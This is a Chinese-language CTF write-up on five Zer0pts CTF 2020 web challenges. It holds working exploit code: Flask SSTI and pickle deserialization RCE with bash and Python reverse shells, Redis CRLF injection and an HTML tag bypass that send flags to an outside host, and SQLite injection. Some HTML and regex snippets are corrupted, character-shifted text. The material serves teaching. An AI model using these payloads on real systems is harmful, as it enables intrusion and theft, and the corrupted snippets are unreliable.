• 新闻动态
  • 行业动态
  • 公司新闻
  • 关于我们
  • 公司简介
  • 经典活动
  • writeup
    Zer0pts CTF 2020的web赛后记录+复现环境
    2020-05-28 10:46

    前言

    打了Zer0pts CTF 2020感觉题目不错就总结一下。

    复现环境地址:

    https://gitlab.com/zer0pts/zer0pts-ctf-2020/

    0x01 notepad

    1.题目源码:

     ...省略...

    app = flask.Flask(__name__)
    app.secret_key = os.urandom(16)
    bootstrap = flask_bootstrap.Bootstrap(app)

    @app.route('/', methods=['GET'])
    def index():
        return notepad(0)

    @app.route('/note/<int:nid>', methods=['GET'])
    def notepad(nid=0):
        data = load()

        if not 0 <= nid < len(data):
            nid = 0

        return flask.render_template('index.html', data=data, nid=nid)

    ...省略...

    @app.errorhandler(404)
    def page_not_found(error):
        """ Automatically go back when page is not found """
        referrer = flask.request.headers.get("Referer")

        if referrer is None: referrer = '/'
        if not valid_url(referrer): referrer = '/'

        html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

        return flask.render_template_string(html), 404

    def valid_url(url):
        """ Check if given url is valid """
        host = flask.request.host_url

        if not url.startswith(host): return False  # Not from my server
        if len(url) - len(host) > 16: return False # Referer may be also 404

        return True

    def load():
        """ Load saved notes """
        try:
            savedata = flask.session.get('savedata', None)
            data = pickle.loads(base64.b64decode(savedata))
        except:
            data = [{"date": now(), "text": "", "title": "*New Note*"}]

        return data
    ...省略...

    2.方法一:

    处理404页面的page_not_found()函数存在模板注入:

    @app.errorhandler(404)
    def page_not_found(error):
        """ Automatically go back when page is not found """
        referrer = flask.request.headers.get("Referer")

        if referrer is None: referrer = '/'
        if not valid_url(referrer): referrer = '/'

        html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

        return flask.render_template_string(html), 404

    referer可控,但是限制了长度。所以利用这里的SSTI可以读取一些配置,但是不能直接RCE。

    GET /404 HTTP/1.1
    Host: 192.168.0.107:8001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.107:8001/?{{config}}
    Connection: close
    Upgrade-Insecure-Requests: 1

    响应的结果如下:

    HTTP/1.0 404 NOT FOUND
    Content-Type: text/html; charset=utf-8
    Content-Length: 1631
    Server: Werkzeug/0.16.0 Python/3.7.3rc1
    Date: Wed, 18 Mar 2020 17:25:11 GMT

    <html><head><meta http-equiv="Refresh" content="3;URL=http://192.168.220.157:8001/?&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: b&#39;E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: datetime.timedelta(seconds=43200), &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;BOOTSTRAP_USE_MINIFIED&#39;: True, &#39;BOOTSTRAP_CDN_FORCE_SSL&#39;: False, &#39;BOOTSTRAP_QUERYSTRING_REVVING&#39;: True, &#39;BOOTSTRAP_SERVE_LOCAL&#39;: False, &#39;BOOTSTRAP_LOCAL_SUBDOMAIN&#39;: None}&gt;"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>

    得到的secret_key

    为b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea',因此我们可以伪造session的值。

    第二个洞是python反序列化:

    ...
    import pickle
    ...
    @app.route('/note/<int:nid>', methods=['GET'])
    def notepad(nid=0):
        data = load()

        if not 0 <= nid < len(data):
            nid = 0

        return flask.render_template('index.html', data=data, nid=nid)
    ...
    def load():
        """ Load saved notes """
        try:
            savedata = flask.session.get('savedata', None)
            data = pickle.loads(base64.b64decode(savedata))
        except:
            data = [{"date": now(), "text": "", "title": "*New Note*"}]

        return data
    ...

    flask用的是客户端的session,因此这里的pickle.loads()的参数可控。显然,解题的思路就是用上面我们读到的secret_key伪造session,然后触发pickle反序列化,导致RCE。

    payload如下:

    from flask.sessions import SecureCookieSessionInterface
    import os, sys, pickle, base64, requests

    COMMAND = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"

    class PickleRce(object):
        def __reduce__(self):
            return (os.system,(COMMAND,))

    class App(object):
        def __init__(self):
            self.secret_key = None

    app = App()
    app.secret_key = b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea'

    si = SecureCookieSessionInterface()
    serializer = si.get_signing_serializer(app)

    session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})

    requests.get('http://192.168.220.157:8001/note/1', cookies = {
        'session': session
    });

    3.方法二:通常python反序列化可以直接反弹shell:

    import os
    import pickle

    class Exp(object):
        def __reduce__(self):
            cmd = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.157",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
            return (os.system, (cmd,))

    exp = Exp()
    result = pickle.dumps(exp)
    print(result)
    data=pickle.loads(result)
    print(data)

    假设题目不能通外网,那么这道题目怎么解决?在flask中其实也可以在反序列化中再嵌套模板注入来实现直接回显RCE:

    111.jpg

    由于题目环境是python3因此我们给出下面的几个python3常用的payload:

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__

    #eval
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

    #__import__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

    不过这题还有个问题:

    @app.route('/note/<int:nid>', methods=['GET'])

    def notepad(nid=0):

        data = load()


        if not 0 <= nid < len(data):

            nid = 0


        return flask.render_template('index.html', data=data, nid=nid)

    ```

    我们return的render_template_string()是传给了data,然后在传入后面的render_template(),并没有直接让请求结束,返回结果。而render_template_string()是个字符串,在index.html模板里遍历输出:

    <ul class="nav nav-list affix">

            {% for note in data %}

            <li{% if loop.index0 == nid %}{% endif %}><a href="&rvpu;/opuf/||" loop.index0 }}">{{note.title}}</a></li>

            {% endfor %}

            <hr>

            <li><a href="&rvpu;/sftfu&rvpu;" class="btn btn-danger">Reset All</a></li>

        </ul>

    所以我们可以通过这种方式构造回显,结果如下:

    1.png

    由于字符串有多长就会遍历多少次,所以我们的思路是利用显示的长度来进行注入。

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[0])*'a'") }}{% endif %}{% endfor %}

    如果flag的第一个字符是a,就会遍历输出97个<li>。

    solve.py:

    from flask.sessions import SecureCookieSessionInterface

    import os, sys, pickle, base64, requests

    from flask import render_template_string

    import re


    class Exploit(object):

        def __init__(self, pos):

            self.temp = """

            {% for c in [].__class__.__base__.__subclasses__() %}

            {% if c.__name__=='catch_warnings' %}

            {{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[pos])*'a'") }}

            {% endif %}

            {% endfor %}

            """.replace('pos', pos)


        def __reduce__(self):

            return (

                render_template_string, (self.temp,))


    class App(object):

        def __init__(self):

            self.secret_key = None


    app = App()

    app.secret_key = b'S^\x94\xa0\x05\xa3\xf4\x91\x052$\xd3\x86gX\xc2'


    si = SecureCookieSessionInterface()

    serializer = si.get_signing_serializer(app)


    regex=r'<li><a href="&rvpu;/opuf/(\e )&rvpu;&hu;.*μ/b&hu;μ/mj&hu;'

    flag=''


    for i in range(0,40):

        session = serializer.dumps({'savedata': base64.b64encode(pickle.dumps(Exploit(str(i))))})


        resp=requests.get('http://192.168.220.157:8001/', cookies={

            'session': session

        });

        find=re.findall(regex,resp.text)


        print(find)

        if find:

            flag+=chr(int(find[find.__len__()-1])+1)


    print(flag)


    0x02 MusicBlog

    源码里给了个浏览器的bot脚本,worker.js:

    // (snipped)


    const flag = 'zer0pts{<censored>}';


    // (snipped)


    const crawl = async (url) => {

        console.log(`[+] Query! (${url})`);

        const page = await browser.newPage();

        try {

            await page.setUserAgent(flag);

            await page.goto(url, {

                waitUntil: 'networkidle0',

                timeout: 10 * 1000,

            });

            await page.click('#like');

        } catch (err){

            console.log(err);

        }

        await page.close();

        console.log(`[+] Done! (${url})`)

    };


    // (snipped)

    该脚本的功能是设置flag在浏览器的UA里,并且点击id为like的标签。接下来当我们登陆后我们可以在new_post.php的content字段中插入html标签。

    <form action="/new_post.php" method="POST">

                <div>

                  <label for="title">Title</label>

                  <input type="text" id="title" name="title">

                  <small class="form-text text-muted">format: <code>/^[0-9A-Za-z ]+$/</code></small>

                </div>

                <div>

                  <label for="content">Content</label>

                  <textarea id="content" name="content" rows="5"></textarea>

                  <small class="form-text text-muted">Note: <code>[[URL]]</code> will be replaced by audio player.</small>

                </div>

              </form>

    但是有过滤,只允许<audio>标签。

    <?php

    // [[URL]] → <audio src="URL"></audio>

    function render_tags($str) {

      $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);

      $str = strip_tags($str, '<audio>'); // only allows `<audio>`

      return $str;

    }

    而<audio>受以下CSP的限制,无法跨域请求:

    <?php

    error_reporting(0);


    require_once 'config.php';

    require_once 'util.php';


    $nonce = get_nonce();

    header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");

    header('X-Frame-Options: DENY');

    header('X-XSS-Protection: 1; mode=block');


    session_start();

    不过我们可以看到上面使用了strip_tags()这个函数,不过这个函数有个bug,参考链接如下:https://bugs.php.net/bug.php?id=78814

    它允许标签里出现斜线,猜测这是为了匹配闭合标签的。但是没有判断斜线的位置,在哪出现都可以:

    root@kali:~# php -r "var_dump(strip_tags('<a/udio>','<audio>'));"

    string(8) "<a/udio>"

    显然<a/udio>在浏览器里会解析成<a>标签,而超链接的跳转不受CSP的限制。

    payload如下:

    <a/udio id=like href=//xxx.xx/>x

    而且我们输入的内容是在第一个点赞按钮的上面,因此bot将会点击我们构造的标签。当bot点击我们构造的标签时,将会把flag带出。最后拿到的flag是:zer0pts{M4sh1m4fr3sh!!}。这题还是比较简单的。

    0x03 urlapp

    方法一:

    题目源码:

    ...省略...


    def connect()

      sock = TCPSocket.open("redis", 6379)


      if not ping(sock) then

        exit

      end


      return sock

    end


    def query(sock, cmd)

      sock.write(cmd + "rn")

    end


    def recv(sock)

      data = sock.gets

      if data == nil then

        return nil

      elsif data[0] == "+" then

        return data[1..-1].strip

      elsif data[0] == "$" then

        if data == "$-1rn" then

          return nil

        end

        return sock.gets.strip

      end


      return nil

    end


    def ping(sock)

      query(sock, "ping")

      return recv(sock) == "PONG"

    end


    def set(sock, key, value)

      query(sock, "SET #{key} #{value}")

      return recv(sock) == "OK"

    end


    def get(sock, key)

      query(sock, "GET #{key}")

      return recv(sock)

    end


    before do

      sock = connect()

      set(sock, "flag", File.read("flag.txt").strip)

    end


    get '/' do

      if params.has_key?(:q) then

        q = params[:q]

        if not (q =~ /^[0-9a-f]{16}$/)

          return

        end


        sock = connect()

        url = get(sock, q)

        redirect url

      end


      send_file 'index.html'

    end


    post '/' do

      if not params.has_key?(:url) then

        return

      end


      url = params[:url]

      if not (url =~ URI.regexp) then

        return

      end


      key = Random.urandom(8).unpack("H*")[0]

      sock = connect()

      set(sock, key, url)


      "#{request.host}:#{request.port}/?q=#{key}"

    end

    功能很简单,就是个URL缩短,用redis作存储。

    漏洞也是很明显,url可控,可以通过CRLF注入直接操作redis。

    2.png

    现在我们直接用CRLF注入构造一个完整的url,由于最后会重定向因此可以在自己的服务器上收到flag。

    脚本如下:

    import requests

    url='http://192.168.220.154:8004/'


    query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'}

    r = requests.post(url, data=query)

    code = r.content[-16:]

    print code


    p1 = "SCRIPT LOAD \"redis.call('APPEND', KEYS[2], redis.call('GET', KEYS[1])); return 1;\"\r\n"

    p2 = "EVALSHA 7614be2a5fac38857cd5a98f26d710f988d1b25f 2 flag {}\r\n".format(code)

    query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n' + p1 + p2}

    r = requests.post(url, data=query)


    r = requests.get(url + '?q={}'.format(code))


    # script load "redis.call('APPEND',KEYS[2],redis.call('GET',KEYS[1])); return 1;"

    # evalsha 2e6ae1cf12eb9f6554360ede553f0a4bcf8e79ab 2 flag 3bd874b8c5dafc18

    结果如下:

    Listening on [0.0.0.0] (family 0, port 5478)

    Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36352)

    GET /?q=Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1

    Host: xxx.xxx.xxx.xxx:xxxx

    Connection: keep-alive

    Accept-Encoding: gzip, deflate

    Accept: */*

    User-Agent: python-requests/2.22.0

    如有什么不明白的可以参考下面的链接。

    方法二:跟上面差不多,不过这次我们不用这么麻烦了直接设置一个上面可以get的键在构造一个可以重定向的url即可。

    import requests


    url = 'http://192.168.220.154:8004/'


    query = {

        'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'+'eval "redis.call(\'set\',\'e41cf0f94e050661\',\'http://xxx.xxx.xxx.xxx:xxxx?\'..redis.call(\'get\',\'flag\'));return 1;" 0'

    }

    r = requests.post(url, data=query)

    code = r.content[-16:]

    print code


    r=requests.get('http://192.168.220.154:8004/?q=e41cf0f94e050661')

    print r.url

    结果如下:

    Listening on [0.0.0.0] (family 0, port 5478)

    Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36741)

    GET /?Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1

    Host: xxx.xxx.xxx.xxx:xxxx

    Connection: keep-alive

    Accept-Encoding: gzip, deflate

    Accept: */*

    User-Agent: python-requests/2.22.0

    0x04 phpNantokaAdmin

    题目简介:

    phpNantokaAdmin is a management tool for SQLite.

    题目源码:

    index.php


    <?php

    include 'util.php';

    include 'config.php';


    error_reporting(0);

    session_start();


    $method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');

    $page = (string) ($_GET['page'] ?? 'index');

    ...省略...


    if (in_array($page, ['insert', 'delete']) && !isset($_SESSION['database'])) {

      flash("Please create database first.");

    }


    if (isset($_SESSION['database'])) {

      $pdo = new PDO('sqlite:db/' . $_SESSION['database']);

      $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");

      $table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name'];


      $stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);");

      $column_names = $stmt->fetchAll(PDO::FETCH_ASSOC);

    }


    if ($page === 'insert' && $method === 'POST') {

      $values = $_POST['values'];

      $stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")");

      $stmt->execute($values);

      redirect('?page=index');

    }


    if ($page === 'create' && $method === 'POST' && !isset($_SESSION['database'])) {

      if (!isset($_POST['table_name']) || !isset($_POST['columns'])) {

        flash('Parameters missing.');

      }


      $table_name = (string) $_POST['table_name'];

      $columns = $_POST['columns'];

      $filename = bin2hex(random_bytes(16)) . '.db';

      $pdo = new PDO('sqlite:db/' . $filename);


      if (!is_valid($table_name)) {

        flash('Table name contains dangerous characters.');

      }

      ...省略...


      $sql = "CREATE TABLE {$table_name} (";

      $sql .= "dummy1 TEXT, dummy2 TEXT";

      for ($i = 0; $i < count($columns); $i++) {

        $column = (string) ($columns[$i]['name'] ?? '');

        $type = (string) ($columns[$i]['type'] ?? '');


        if (!is_valid($column) || !is_valid($type)) {

          flash('Column name or type contains dangerous characters.');

        }

        if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {

          flash('Column name and type must be 1-32 characters.');

        }


        $sql .= ', ';

        $sql .= "`$column` $type";

      }

      $sql .= ');';


      $pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');

      $pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');

      $pdo->query($sql);


      $_SESSION['database'] = $filename;

      redirect('?page=index');

    }

    ...省略...

    if ($page === 'index' && isset($_SESSION['database'])) {

      $stmt = $pdo->query("SELECT * FROM `{$table_name}`;");


      if ($stmt === FALSE) {

        $_SESSION = array();

        session_destroy();

        redirect('?page=index');

      }


      $result = $stmt->fetchAll(PDO::FETCH_NUM);

    }

    ?>

    <!doctype html>

    <html>


    ...省略...


    <?php if ($page === 'index') { ?>

    <?php if (isset($_SESSION['database'])) { ?>

        <h2><?= e($table_name) ?> (<a href="&rvpu;?qbhf=efmfuf&rvpu;&hu;Efmfuf" table</a>)</h2>

        <form action="?page=insert" method="POST">

          <table>

            <tr>

    <?php for ($i = 0; $i < count($column_names); $i++) { ?>

              <th><?= e($column_names[$i]['name']) ?></th>

    <?php } ?>

            </tr>

    <?php for ($i = 0; $i < count($result); $i++) { ?>

            <tr>

    <?php for ($j = 0; $j < count($result[$i]); $j++) { ?>

              <td><?= e($result[$i][$j]) ?></td>

    <?php } ?>

            </tr>

    <?php } ?>

            <tr>

    ...省略...

    util.php


    <?php

    ...省略...


    function is_valid($string) {

      $banword = [

        // comment out, calling function...

        "[\"#'()*,\\/\\\\`-]"

      ];

      $regexp = '/' . implode('|', $banword) . '/i';

      if (preg_match($regexp, $string)) {

        return false;

      }

      return true;

    }

    首先我们需要了解三个小知识。

    第一个:我们在使用sqlite语法的时候列名是可以加方括号的,是为了和mysql语法兼容。例如:select [sql] from sqlite_master;

    第二个:我们在使用sqlite_master时使用错误的语法,sqlite将会忽略后面列的名称,无论列的名称是否真实的存在,除非在列之间放置。

    create table sometbl (somecol INT);

    insert into sometbl values(1);

    select somecol from sometbl;

    // 1

    select somecol somecoaaaal from sometbl;

    // 1

    第三个:我们在使用sqlite语法时,用该语句create table ..as select ..创建表时可以不用带括号。例如:

    create table sometbl2 as select 2;

    select * from sometbl2;

    2

    通过阅读上面的源代码,我们发现table_name和columns参数存在SQL注入,但是我们不知道flag的表名和列名。每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。利用第三个知识点,在创建表时可以用as来复制另一个表中的数据。这里我们就可以用as select sql from sqlite_master来复制sqlite_master的sql字段。还有就是,这里拼接的这一串字符是在as后面的,会影响后面的sql正常执行。

    3.png

    因为后面的$column也是可控的,所以这里可以用as "..."来把这一段干扰字符闭合到查询的别名里。双引号被过滤了,在sqlite中可以用中括号[]来代替。

    payload如下:

    table_name=aaa as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=2

    我们将该payload先用post请求该/?page=create路由后创建表aaa和复制数据sql,再用get请求该/?page=index路由后就可以得到sql结果:

    4.png

    得到了表名和列名后,我们用同样的方法复制出flag,payload如下:

    table_name=aaa as select flag_2a2d04c3 as[&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

    成功获取flag:

    5.png

    0x05 Can you guess it

    题目源码:

    index.php

    <?php

    include 'config.php'; // FLAG is defined in config.php


    if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {

      exit("I don't know what you are thinking, but I won't let you read it :)");

    }


    if (isset($_GET['source'])) {

      highlight_file(basename($_SERVER['PHP_SELF']));

      exit();

    }


    $secret = bin2hex(random_bytes(64));

    if (isset($_POST['guess'])) {

      $guess = (string) $_POST['guess'];

      if (hash_equals($secret, $guess)) {

        $message = 'Congratulations! The flag is: ' . FLAG;

      } else {

        $message = 'Wrong.';

      }

    }

    ?>

    ...省略...

    通过阅读上面的代码,我们唯一可以利用的点是highlight_file(),它可以用来显示代码,我们的目标是利用它来读取config.php文件,由于flag在里面。但是有一个过滤:

    <?php

    if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {

      exit("I don't know what you are thinking, but I won't let you read it :)");

    }

    由于'/config\.php\/*$/i'的过滤我们就不能直接用/index.php/config.php?source来显示config.php文件。

    我们知道$_SERVER['PHP_SELF']是可控的值,相对于根目录。

    6.png

    上面还有一个比较明显的漏洞就是basename()函数,它会忽略后面的[\x80-\xff]范围内的字符串。例子如下:

    php -r 'print(basename("index.php/config.php/\x80"));' // config.php

    php -r 'print(basename("\x80index.php/config.php"));' // config.php

    结合上面的两点,我们的payload如下:

    http://3.112.201.75:8003/index.php/config.php/%80?source

    结果如下:

    <?php

    define('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');

    0x06 参考链接

    https://balsn.tw/ctf_writeup/20200307-zer0ptsctf/#notepad

    https://security.tencent.com/index.php/blog/msg/106

    https://www.mi1k7ea.com/2020/03/05/Redis%E5%AE%89%E5%85%A8%E5%B0%8F%E7%BB%93/

    http://redisdoc.com/script/eval.html

    https://blog.csdn.net/xiaojin21cen/article/details/88621540

    上一篇:听说你还不会UAF?
    下一篇:cryptopals解密之旅 (一)
    版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
    Copyright © 2013-2020 Heetian Corporation, All rights reserved
    4006-123-731